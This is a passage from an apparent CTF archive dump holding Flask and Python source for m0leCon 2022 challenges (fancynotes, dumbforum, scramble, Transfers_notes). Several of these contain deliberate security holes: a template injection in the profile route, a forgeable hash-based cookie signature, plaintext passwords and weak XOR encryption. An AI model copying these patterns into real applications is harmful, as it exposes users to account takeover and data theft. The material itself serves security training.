app = Flask(__name__, instance_relative_config=True)
app.config.from_mapping(
SECRET_KEY='dev',
SQLALCHEMY_DATABASE_URI='sqlite:////tmp/test.db',
)
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
if os.environ.get("DOCKER"):
PASS = os.environ.get("MYSQL_ROOT_PASSWORD")
DB = os.environ.get("MYSQL_DATABASE")
app.config['SQLALCHEMY_DATABASE_URI'] = f'mysql+pymysql://root:{PASS}@db/{DB}?charset=utf8mb4'
else:
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
if test_config is None:
app.config.from_pyfile('config.py', silent=True)
else:
app.config.from_mapping(test_config)
try:
os.makedirs(app.instance_path)
except OSError:
pass
db.init_app(app)
with app.app_context():
# Connect to database
tries = 10
while tries > 0:
try:
db.create_all()
tries = 0
except:
tries += -1
print('Failed to connect to database. Waiting and then trying again (try countdown: %s)' % tries)
sleep(5)
init_db(db)
init_routes(app)
return app
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/crypto/fancynotes/app/routes.py | ctfs/m0leCon/2022/Quals/crypto/fancynotes/app/routes.py | import hashlib
import os
import uuid
from flask import render_template, request, redirect, make_response, send_file
from .validators import validate_registration, validate_login, validate_note
from .models import *
from .utils import generate_cookie, get_user, save_picture
from .db import db
def init_routes(app):
@app.route('/')
def index():
return render_template('index.html')
@app.route('/registration', methods=['POST', 'GET'])
def registration():
if request.method == 'GET':
return render_template('registration.html')
if request.method == 'POST':
form_data = request.form
error = validate_registration(form_data)
if error:
return render_template('registration.html', error=error)
if User.query.filter_by(username=form_data['username']).count() > 0:
return render_template('registration.html', error='Username already taken')
user = User(
username=form_data['username'],
password=form_data['password'],
locale='en'
)
db.session.add(user)
db.session.commit()
return redirect("/login")
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'GET':
return render_template('login.html')
if request.method == 'POST':
form_data = request.form
error = validate_login(form_data)
if error:
return render_template('login.html', error=error)
user = User.query.filter_by(username=form_data['username'], password=form_data['password']).first()
if user is None:
return render_template('login.html', error='Wrong credentials')
response = make_response(redirect("/notes"))
response.set_cookie('user', generate_cookie(user))
return response
@app.route('/logout')
def logout():
response = make_response(redirect("/"))
response.delete_cookie('user')
return response
@app.route('/notes', methods=['POST', 'GET'])
def notes():
if request.method == 'GET':
user = get_user()
if not user:
return redirect("/login")
notes = Note.query.filter(
Note.user.has(username=user['username'])
).all()
return render_template('notes.html', user=user, notes=notes)
if request.method == 'POST':
user = get_user()
if not user:
return redirect("/login")
if user['username'] == 'admin':
return send_file('static/chao.gif', mimetype='image/gif')
form_data = request.form
error = validate_note(form_data)
if error:
notes = Note.query.filter(Note.user.has(
username=user['username']
)).all()
return render_template('notes.html', user=user, notes=notes, error=error)
picture_id = None
if 'picture' in request.files:
picture_id = save_picture(request.files['picture'])
note = Note(
title=form_data['title'], body=form_data['body'], picture_id=picture_id)
userobj = User.query.filter_by(username=user['username']).first()
userobj.notes.append(note)
db.session.commit()
return render_template('notes.html', user=user, notes=userobj.notes)
@app.route('/pictures/<id>')
def pictures(id):
user = get_user()
if not user:
return redirect("/login")
note = Note.query.filter(Note.user.has(
username=user['username'])).filter_by(id=id).first()
if not note:
return make_response("nope", 404)
return send_file(os.path.join('/tmp/uploads', note.picture_id))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/web/fancynotes/app/db.py | ctfs/m0leCon/2022/Quals/web/fancynotes/app/db.py | from flask_sqlalchemy import SQLAlchemy
db = SQLAlchemy()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/web/fancynotes/app/models.py | ctfs/m0leCon/2022/Quals/web/fancynotes/app/models.py | from .db import db
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password = db.Column(db.String(256), nullable=False)
locale = db.Column(db.String(3), nullable=False)
def __repr__(self):
return '<User %r>' % self.username
class Note(db.Model):
id = db.Column(db.Integer, primary_key=True)
title = db.Column(db.String(80), nullable=False)
body = db.Column(db.Text, nullable=False)
picture_id = db.Column(db.String(255), nullable=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
user = db.relationship('User', backref=db.backref('notes', lazy=True))
def __repr__(self):
return '<Post %r>' % self.title
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/web/fancynotes/app/validators.py | ctfs/m0leCon/2022/Quals/web/fancynotes/app/validators.py | import re
def validate_registration(form_data):
if not form_data['username'] or not form_data['password']:
return 'missing parameter'
if not re.match(r'^[a-zA-Z0-9-_$]+$', form_data['username']):
return 'do you have special characters in your name??'
if len(form_data['username']) > 30:
return 'username too long'
if len(form_data['username']) < 4:
return 'username too short'
if len(form_data['password']) > 30:
return 'password too long'
if len(form_data['password']) < 4:
return 'password too short'
return None
def validate_login(form_data):
if not form_data['username'] or not form_data['password']:
return 'missing parameter'
def validate_note(form_data):
if not form_data['title'] or not form_data['body']:
return 'missing parameter'
if len(form_data['title']) > 80:
return 'title too long'
if len(form_data['title']) < 1:
return 'title too short'
if len(form_data['body']) > 200:
return 'body too long'
if len(form_data['body']) < 1:
return 'body too short'
return None
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/web/fancynotes/app/utils.py | ctfs/m0leCon/2022/Quals/web/fancynotes/app/utils.py | from flask import request
import uuid
import base64
import hashlib
import string
import os
import random
from .models import *
SECRET_KEY = os.environ.get("SECRET_KEY")
FLAG = os.environ.get("FLAG")
def random_string(n):
return ''.join(random.choices(string.printable, k=n))
def init_db(db):
username = "admin"
password = random_string(20)
if User.query.filter_by(username=username).count() > 0:
return
user = User(username=username, password=hashlib.sha256(
password.encode()).hexdigest(), locale='en'
)
note = Note(title="flag", body=FLAG)
user.notes.append(note)
db.session.add(user)
db.session.commit()
def get_user():
if not 'user' in request.cookies:
return None
cookie = base64.b64decode(request.cookies.get(
'user')).decode('raw_unicode_escape')
assert len(cookie.split('|')) == 2
user_string = cookie.split('|')[0]
signature_string = cookie.split('|')[1]
if hashlib.sha256((SECRET_KEY + user_string).encode('raw_unicode_escape')).hexdigest() != signature_string:
print("nope")
return None
user = serialize_user(user_string)
return user
def generate_cookie(user):
user_string = deserialize_user(user)
signature_string = hashlib.sha256(
(SECRET_KEY + user_string).encode('raw_unicode_escape')).hexdigest()
cookie = base64.b64encode(
(f'{user_string}|{signature_string}').encode('raw_unicode_escape')).decode()
return cookie
def deserialize_user(user):
values = []
for k in ["username", "locale"]:
values.append(f'{k}={user.__dict__[k]}')
return ','.join(values)
def serialize_user(user_string):
user = dict()
for kv in user_string.split(','):
k = kv.split('=')[0]
v = kv.split('=')[1]
user[k] = v
return user
def save_picture(picture):
if picture.filename == '':
return None
if '.' not in picture.filename and picture.filename.rsplit('.', 1)[1].lower() not in ['png', 'jpg', 'jpeg']:
return None
picture_id = uuid.uuid4().hex
picture_path = os.path.join('/tmp/uploads', picture_id)
picture.save(picture_path)
return picture_id
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/web/fancynotes/app/__init__.py | ctfs/m0leCon/2022/Quals/web/fancynotes/app/__init__.py | import os
from time import sleep
from flask import Flask
from .db import db
from .routes import init_routes
from .models import *
from .utils import init_db
def create_app(test_config=None):
app = Flask(__name__, instance_relative_config=True)
app.config.from_mapping(
SECRET_KEY='dev',
SQLALCHEMY_DATABASE_URI='sqlite:////tmp/test.db',
)
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
if os.environ.get("DOCKER"):
PASS = os.environ.get("MYSQL_ROOT_PASSWORD")
DB = os.environ.get("MYSQL_DATABASE")
app.config['SQLALCHEMY_DATABASE_URI'] = f'mysql+pymysql://root:{PASS}@db/{DB}?charset=utf8mb4'
else:
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
if test_config is None:
app.config.from_pyfile('config.py', silent=True)
else:
app.config.from_mapping(test_config)
try:
os.makedirs(app.instance_path)
except OSError:
pass
db.init_app(app)
with app.app_context():
# Connect to database
tries = 10
while tries > 0:
try:
db.create_all()
tries = 0
except:
tries += -1
print('Failed to connect to database. Waiting and then trying again (try countdown: %s)' % tries)
sleep(5)
init_db(db)
init_routes(app)
return app
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/web/fancynotes/app/routes.py | ctfs/m0leCon/2022/Quals/web/fancynotes/app/routes.py | import hashlib
import os
import uuid
from flask import render_template, request, redirect, make_response, send_file
from .validators import validate_registration, validate_login, validate_note
from .models import *
from .utils import generate_cookie, get_user, save_picture
from .db import db
def init_routes(app):
@app.route('/')
def index():
return render_template('index.html')
@app.route('/registration', methods=['POST', 'GET'])
def registration():
if request.method == 'GET':
return render_template('registration.html')
if request.method == 'POST':
form_data = request.form
error = validate_registration(form_data)
if error:
return render_template('registration.html', error=error)
if User.query.filter_by(username=form_data['username']).count() > 0:
return render_template('registration.html', error='Username already taken')
user = User(
username=form_data['username'],
password=form_data['password'],
locale='en'
)
db.session.add(user)
db.session.commit()
return redirect("/login")
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'GET':
return render_template('login.html')
if request.method == 'POST':
form_data = request.form
error = validate_login(form_data)
if error:
return render_template('login.html', error=error)
user = User.query.filter_by(username=form_data['username'], password=form_data['password']).first()
if user is None:
return render_template('login.html', error='Wrong credentials')
response = make_response(redirect("/notes"))
response.set_cookie('user', generate_cookie(user))
return response
@app.route('/logout')
def logout():
response = make_response(redirect("/"))
response.delete_cookie('user')
return response
@app.route('/notes', methods=['POST', 'GET'])
def notes():
if request.method == 'GET':
user = get_user()
if not user:
return redirect("/login")
notes = Note.query.filter(
Note.user.has(username=user['username'])
).all()
return render_template('notes.html', user=user, notes=notes)
if request.method == 'POST':
user = get_user()
if not user:
return redirect("/login")
if user['username'] == 'admin':
return send_file('static/chao.gif', mimetype='image/gif')
form_data = request.form
error = validate_note(form_data)
if error:
notes = Note.query.filter(Note.user.has(
username=user['username']
)).all()
return render_template('notes.html', user=user, notes=notes, error=error)
picture_id = None
if 'picture' in request.files:
picture_id = save_picture(request.files['picture'])
note = Note(
title=form_data['title'], body=form_data['body'], picture_id=picture_id)
userobj = User.query.filter_by(username=user['username']).first()
userobj.notes.append(note)
db.session.commit()
return render_template('notes.html', user=user, notes=userobj.notes)
@app.route('/pictures/<id>')
def pictures(id):
user = get_user()
if not user:
return redirect("/login")
note = Note.query.filter(Note.user.has(
username=user['username'])).filter_by(id=id).first()
if not note:
return make_response("nope", 404)
return send_file(os.path.join('/tmp/uploads', note.picture_id))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/web/dumbforum/main.py | ctfs/m0leCon/2022/Quals/web/dumbforum/main.py | from app import app, db
from app.models import User, Post
if __name__ == "__main__":
from waitress import serve
serve(app, host="0.0.0.0", port=8080) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/web/dumbforum/config.py | ctfs/m0leCon/2022/Quals/web/dumbforum/config.py | import os
basedir = os.path.abspath(os.path.dirname(__file__))
class Config(object):
SECRET_KEY = os.environ.get("SECRET_KEY") or os.urandom(32)
SQLALCHEMY_DATABASE_URI = os.environ.get(
"DATABASE_URL"
) or "sqlite:///" + os.path.join(basedir, "db", "app.db")
SQLALCHEMY_TRACK_MODIFICATIONS = False
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/web/dumbforum/app/models.py | ctfs/m0leCon/2022/Quals/web/dumbforum/app/models.py | from datetime import datetime
from flask_sqlalchemy import SQLAlchemy
from werkzeug.security import generate_password_hash, check_password_hash
from flask_login import UserMixin
from hashlib import md5
from app import db, login_manager
class User(UserMixin, db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(20), index=True, unique=True)
email = db.Column(db.String(120), index=True, unique=True)
password_hash = db.Column(db.String(128))
posts = db.relationship('Post', backref='author', lazy='dynamic')
about_me = db.Column(db.String(1000))
last_seen = db.Column(db.DateTime, default=datetime.utcnow)
def __repr__(self):
return '<User {}>'.format(self.username)
def set_password(self, password):
self.password_hash = generate_password_hash(password)
def check_password(self, password):
return check_password_hash(self.password_hash, password)
def avatar(self, size):
digest = md5(self.email.lower().encode('utf-8')).hexdigest()
return 'https://www.gravatar.com/avatar/{}?d=identicon&s={}'.format(digest, size)
class Post(db.Model):
id = db.Column(db.Integer, primary_key=True)
title = db.Column(db.String(30))
body = db.Column(db.String(500))
timestamp = db.Column(db.DateTime, index=True, default=datetime.utcnow)
username = db.Column(db.String(64), db.ForeignKey('user.username'))
def __repr__(self):
return '<Post {}>'.format(self.body)
@login_manager.user_loader
def load_user(id):
return User.query.get(int(id))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/web/dumbforum/app/errors.py | ctfs/m0leCon/2022/Quals/web/dumbforum/app/errors.py | from flask import render_template
from app import app, db
@app.errorhandler(404)
def not_found_error(error):
return render_template('404.html'), 404
@app.errorhandler(500)
def internal_error(error):
db.session.rollback()
return render_template('500.html'), 500
@app.errorhandler(409)
def not_found_error(error):
return render_template('409.html'), 409
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/web/dumbforum/app/__init__.py | ctfs/m0leCon/2022/Quals/web/dumbforum/app/__init__.py | from flask import Flask
from flask_bootstrap import Bootstrap
from config import Config
from flask_sqlalchemy import SQLAlchemy
from flask_migrate import Migrate
from flask_login import LoginManager
app = Flask(__name__, template_folder="templates")
Bootstrap(app)
app.config.from_object(Config)
db = SQLAlchemy(app)
migrate = Migrate(app, db)
login_manager = LoginManager(app)
login_manager.login_view = 'login'
from app import routes, models, errors
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/web/dumbforum/app/routes.py | ctfs/m0leCon/2022/Quals/web/dumbforum/app/routes.py | from flask import render_template, render_template_string, flash, redirect, url_for, abort
from app import db, app
from flask_login import current_user, login_user
from app.models import User
from flask_login import login_required
from flask import request
from werkzeug.urls import url_parse, url_decode
import calendar
from app.forms import RegistrationForm
from flask_login import logout_user
from urllib.parse import unquote
from datetime import datetime
from app.forms import LoginForm, PostForm, EditProfileForm
from app.models import Post
ROWS_PER_PAGE = 7
@app.before_request
def before_request():
if current_user.is_authenticated:
current_user.last_seen = datetime.utcnow()
db.session.commit()
@app.route("/")
def index():
return redirect(url_for('forums'))
@app.route("/forums",methods=['GET'])
def forums():
page = request.args.get('page', 1, type=int)
posts = Post.query.order_by(Post.timestamp.desc()).paginate(page,ROWS_PER_PAGE,error_out=False)
no_post_flag = False
for post in posts.items:
post.month_name = calendar.month_name[post.timestamp.month]
if len(posts.items) == 0:
no_post_flag = True
return render_template('forums.html', posts = posts, no_post_flag = no_post_flag)
@app.route('/login', methods=['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if form.validate_on_submit():
user = User.query.filter_by(username=form.username.data).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
next_page = request.args.get('next')
if not next_page or url_parse(next_page).netloc != '':
next_page = url_for('index')
return redirect(next_page)
return render_template('login.html', title='Sign In', form=form)
@app.route('/post', methods=['GET', 'POST'])
def post():
if current_user.is_authenticated:
form = PostForm()
form.username.data = current_user.username
form.data["username"] = current_user.username
if form.validate_on_submit():
post = Post(username = current_user.username, title = form.title.data, body = form.body.data)
db.session.add(post)
db.session.commit()
return redirect(url_for('forums'))
else:
return redirect(url_for('login'))
return render_template('post.html', title='Post', form=form)
@app.route('/register', methods=['GET', 'POST'])
def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegistrationForm()
if form.validate_on_submit():
user = User(username=form.username.data, email=form.email.data)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('Congratulations, you are now a registered user!')
return redirect(url_for('login'))
return render_template('register.html', title='Register', form=form)
@app.route('/profile', methods=['GET', 'POST'])
@login_required
def profile():
with open('app/templates/profile.html') as p:
profile_html = p.read()
profile_html = profile_html % (current_user.username, current_user.email, current_user.about_me)
if(current_user.about_me == None):
current_user.about_me = ""
return render_template_string(profile_html)
@app.route('/logout')
def logout():
logout_user()
return redirect(url_for('forums'))
@app.route('/edit_profile', methods=['GET', 'POST'])
@login_required
def edit_profile():
form = EditProfileForm(current_user.username)
if request.method == 'GET':
form.username.data = current_user.username
form.about_me.data = current_user.about_me
return render_template('edit_profile.html', title='Edit Profile', form=form)
else:
if form.validate_on_submit():
posts = Post.query.filter_by(username=current_user.username)
for post in posts:
post.username = form.username.data
current_user.username = form.username.data
current_user.about_me = form.about_me.data
db.session.commit()
flash('Your changes have been saved.')
return redirect(url_for('profile'))
else:
render_template('edit_profile.html', title='Edit Profile', form=form)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/web/dumbforum/app/forms.py | ctfs/m0leCon/2022/Quals/web/dumbforum/app/forms.py | from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, BooleanField, SubmitField
from wtforms.validators import ValidationError, DataRequired, Email, EqualTo
from .models import User
from wtforms import StringField, TextAreaField, SubmitField
from wtforms.validators import DataRequired, Length
from flask import abort
class LoginForm(FlaskForm):
username = StringField('Username', validators=[DataRequired(), Length(min=0, max=20)])
password = PasswordField('Password', validators=[DataRequired()])
remember_me = BooleanField('Remember Me')
submit = SubmitField('Sign In')
class PostForm(FlaskForm):
username = StringField('Username', validators=[DataRequired()])
title = TextAreaField('Title', validators=[DataRequired(), Length(min=0, max=30)])
body = TextAreaField('Write here', validators=[DataRequired(), Length(min=0, max=500)])
submit = SubmitField('Post')
class RegistrationForm(FlaskForm):
username = StringField('Username', validators=[DataRequired()])
email = StringField('Email', validators=[DataRequired(), Email()])
password = PasswordField('Password', validators=[DataRequired()])
password2 = PasswordField('Repeat Password', validators=[DataRequired(), EqualTo('password')])
submit = SubmitField('Register')
def validate_username(self, username):
for c in "}{":
if c in username.data:
raise ValidationError('Please use valid characters.')
user = User.query.filter_by(username=username.data).first()
if user is not None:
raise ValidationError('Please use a different username.')
def validate_email(self, email):
user = User.query.filter_by(email=email.data).first()
if user is not None:
raise ValidationError('Please use a different email address.')
class EditProfileForm(FlaskForm):
username = StringField('Username', validators=[DataRequired()])
about_me = TextAreaField('About me', validators=[Length(min=0, max=1000)])
submit = SubmitField('Submit')
def __init__(self, original_username, *args, **kwargs):
super(EditProfileForm, self).__init__(*args, **kwargs)
self.original_username = original_username
def validate_username(self, username):
for c in "}{":
if c in username.data:
abort(400)
#raise ValidationError('Please use valid characters.')
if username.data != self.original_username:
user = User.query.filter_by(username=self.username.data).first()
if user is not None:
abort(409)
#raise ValidationError('Please use a different username.')
def validate_about_me(self, about_me):
for c in "}{":
if c in about_me.data:
abort(400)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Beginner/rev/scramble/chall.py | ctfs/m0leCon/2022/Beginner/rev/scramble/chall.py | from flag import flag
from random import randint
assert(len(flag) <= 50)
shift = randint(1, len(set(flag)) - 1)
def encrypt(data):
charsf = {}
for c in data:
if c not in charsf.keys():
charsf[c] = 1
else:
charsf[c] += 1
chars = list(charsf.keys())
chars.sort(reverse=True, key=lambda e: charsf[e])
charsn = list(chars)
for _ in range(shift):
i = charsn.pop(0)
charsn.append(i)
enc = "".join(list(map(lambda c: charsn[chars.index(c)], data)))
return enc
if __name__ == "__main__":
print("Welcome to our custom encrypting system!")
print("1) Encrypt something")
print("2) Get flag")
print("3) Exit")
opt = input("> ")
while opt != "3":
if opt == "1":
data = input("What is your string?\n")
print(encrypt(data))
elif opt == "2":
print(encrypt(flag))
opt = input("> ")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Beginner/crypto/Transfers_notes/service.py | ctfs/m0leCon/2022/Beginner/crypto/Transfers_notes/service.py | import interface
import utils
def validate(username: str, new=False):
valid = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
if len(username) == 0:
print("Cancelling operation...")
return True
elif not (3 <= len(username) <= 64):
print("Invalid username: length must be at least 3 and at most 64")
return False
elif any(c not in valid for c in username):
print("Invalid username: only letters and digits allowed")
return False
elif (not new) and username not in utils.users():
print("Username not in list")
return False
return True
def login():
username = input('Insert username (only letters and digits): ').strip()
while not validate(username):
username = input('Insert username (only letters and digits): ').strip()
if username == '':
return None, None
password = input('Insert password: ').strip()
return utils.login(username, password)
def register():
username = input('Insert username (only letters and digits): ').strip()
while not validate(username, new=True):
username = input('Insert username (only letters and digits): ').strip()
if username == '':
return None, None
password = input('Insert password: ').strip()
return utils.register(username, password)
def show_users():
print(interface.users)
users = utils.users()
users.sort(key=lambda e: int(utils.Ids[e], 16))
for user in users:
print(f'| {utils.Ids[user]} {user:64} |')
print(interface.users_border)
def show_transactions(username=None, password=None):
print(interface.transactions)
for userid, timestamp, transaction in utils.transactions(username, password):
if len(transaction) > 128:
t = transaction[:125] + '...'
else:
t = transaction
print(f'| {userid} {int(timestamp):0>16x} | {t:128} |')
print(interface.transactions_borders)
def show_transactions_of(user: str, username=None, password=None):
print("Transactinos of", user)
print(interface.transaction)
p = 0
if user == username:
psw = password
else:
psw = None
data = utils.Users[user].read_transactions(psw)
for timestamp in data:
transaction = data[timestamp]
print(f'[{int(timestamp):0>16x}] {transaction}')
p += 1
if p == 0:
print('No transaction found')
def main_menu():
print(interface.main_menu)
choice = input('> ').strip()
while choice not in ('1', '2', '3', '4', '5', '6'):
print("Invalid choice (must be one of '1', '2', '3', '4', '5', '6')")
choice = input('> ').strip()
if choice == '1':
show_users()
elif choice == '2':
show_transactions()
elif choice == '3':
return login()
elif choice == '4':
return register()
elif choice == '5':
user = input('Insert username (only letters and digits): ').strip()
while not validate(user):
user = input('Insert username (only letters and digits): ').strip()
if user != '':
show_transactions_of(user)
else:
raise SystemExit()
return None, None
def user_menu(username: str, password: str):
print(f'\n[{username}] ' + interface.user_menu)
choice = input('> ').strip()
while choice not in ('1', '2', '3', '4', '5', '6'):
print("Invalid choice (must be one of '1', '2', '3', '4', '5', '6')")
choice = input('> ').strip()
if choice == '1':
show_users()
elif choice == '2':
show_transactions(username, password)
elif choice == '3':
show_transactions_of(username, username, password)
elif choice == '4':
receiver = input('Receiver: ').strip()
while receiver not in utils.users():
if receiver == '':
print("Cancelling operation...")
return username, password
print("Receiver not in user\'s list...")
receiver = input('Receiver: ').strip()
amount = input('Amount: ').strip()
while any(c not in '0123456789' for c in amount) or (len(amount) != 1 and amount[0] == '0') or len(amount) > 10:
print("The amount must be an integer value with up to 10 digits...")
amount = input('Amount: ').strip()
amount = int(amount)
description = input('Insert description: ').strip()
utils.Users[username].new_transaction(password, amount, receiver, description)
elif choice == '5':
user = input('Insert username (only letters and digits): ').strip()
while not validate(user):
user = input('Insert username (only letters and digits): ').strip()
if user != '':
show_transactions_of(user, username, password)
else:
return None, None
return username, password
def main():
user = (None, None)
print(interface.header)
while True:
try:
if user == (None, None):
user = main_menu()
else:
user = user_menu(*user)
except SystemExit:
print("Quitting...")
utils.save_all()
exit()
except Exception as e:
print("Unknown issue...", e)
utils.save_all()
exit()
if __name__ == "__main__":
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Beginner/crypto/Transfers_notes/interface.py | ctfs/m0leCon/2022/Beginner/crypto/Transfers_notes/interface.py | header="""
|---------------------------|
| Welcome in Transfer-notes |
|---------------------------|
"""
main_menu = """
Available operations:
1) List users
2) List transactions
3) Login
4) Register
5) List transactions by user
6) Exit
"""
user_menu = """Available operations:
1) List users
2) List transactions
3) List my transactions
4) New transaction
5) List transactions by user
6) Exit
"""
#display borders
users_border = '|' + '-' * 73 + '|'
transactions_borders = '|' + '-' * 156 + '|'
# display headers
transaction = "[id] [receiver] <- [amount] | [description]"
users = users_border + "\n| userid username" + ' ' * 57 + '|\n' + users_border
transactions = transactions_borders + "\n| userid id |" + ' ' * 130 + '|\n' + transactions_borders
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Beginner/crypto/Transfers_notes/utils.py | ctfs/m0leCon/2022/Beginner/crypto/Transfers_notes/utils.py | import hashlib
import random
import json
import time
import os
Users = dict()
Ids = dict()
Path = './data/'
def padding(s: str, n: int):
if len(s) % n == 0:
s += ' '
while len(s) % n != 0:
s += random.choice('abcdefghijklnoqrsuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
return s
def xor(a: bytes, b: bytes):
n = len(b)
if isinstance(a, str):
a = a.encode()
if isinstance(b, str):
b = b.encode()
return bytes([a[i] ^ b[i%n] for i in range(len(a))]).hex()
class UserChannel:
def __init__(self, username: str, password: str='', hashed: bytes=None) -> None:
self.__transactions = dict()
self.username = username
self.path = Path + username + '.json'
if hashed is None:
self.__hashed = hashlib.sha256(password.encode()).digest()
elif password == '':
self.__hashed = hashed
else:
raise ValueError('Either one of \'password\' and \'hashed\' must be empty')
self.__secret = os.urandom(1)
@property
def transactions(self):
return self.encode(self.__transactions)
def check(self, password: str):
return password is not None and hashlib.sha256(password.encode()).digest() == self.__hashed
def encode(self, transactions: list):
return {timestamp: self.encode_transaction(transactions[timestamp]) for timestamp in transactions}
def encode_transaction(self, transaction: str):
i = transaction.index(' <- ')
t = padding(transaction[:i], 64) + ' <- '
j = transaction.index(' | ')
t += padding(transaction[i+4:j], 16)
t += transaction[j:]
t = padding(t, 128)
return xor(t, self.__secret)
def new_transaction(self, password: str, amount: int, receiver: str, description: str):
if not self.check(password):
raise ValueError("Wrong password")
self.__transactions[str(time.time_ns())] = f"{receiver} <- {amount} | {description}"
def read_transactions(self, password: str):
if self.check(password):
return self.__transactions.copy()
else:
return self.transactions
def save(self):
data = json.dumps({'transactions': self.__transactions, 'hashed': self.__hashed.hex(), 'username': self.username})
with open(self.path, 'w') as file:
file.write(data)
@staticmethod
def from_file(path):
with open(path, 'r') as file:
data = json.loads(file.read())
channel = UserChannel(data['username'], hashed=bytes.fromhex(data['hashed']))
channel.__transactions = data['transactions']
channel.path = path
return channel
def users():
result = list()
for name in os.listdir(Path):
if name[-5:] == '.json':
result.append(name[:-5])
return result
def save_all():
for user in Users:
Users[user].save()
def login(username: str, password: str):
if Users[username].check(password):
return username, password
else:
return None, None
def register(username: str, password: str):
if username in Users.keys():
print('User already exists')
return None, None
Users[username] = UserChannel(username, password=password)
Users[username].save()
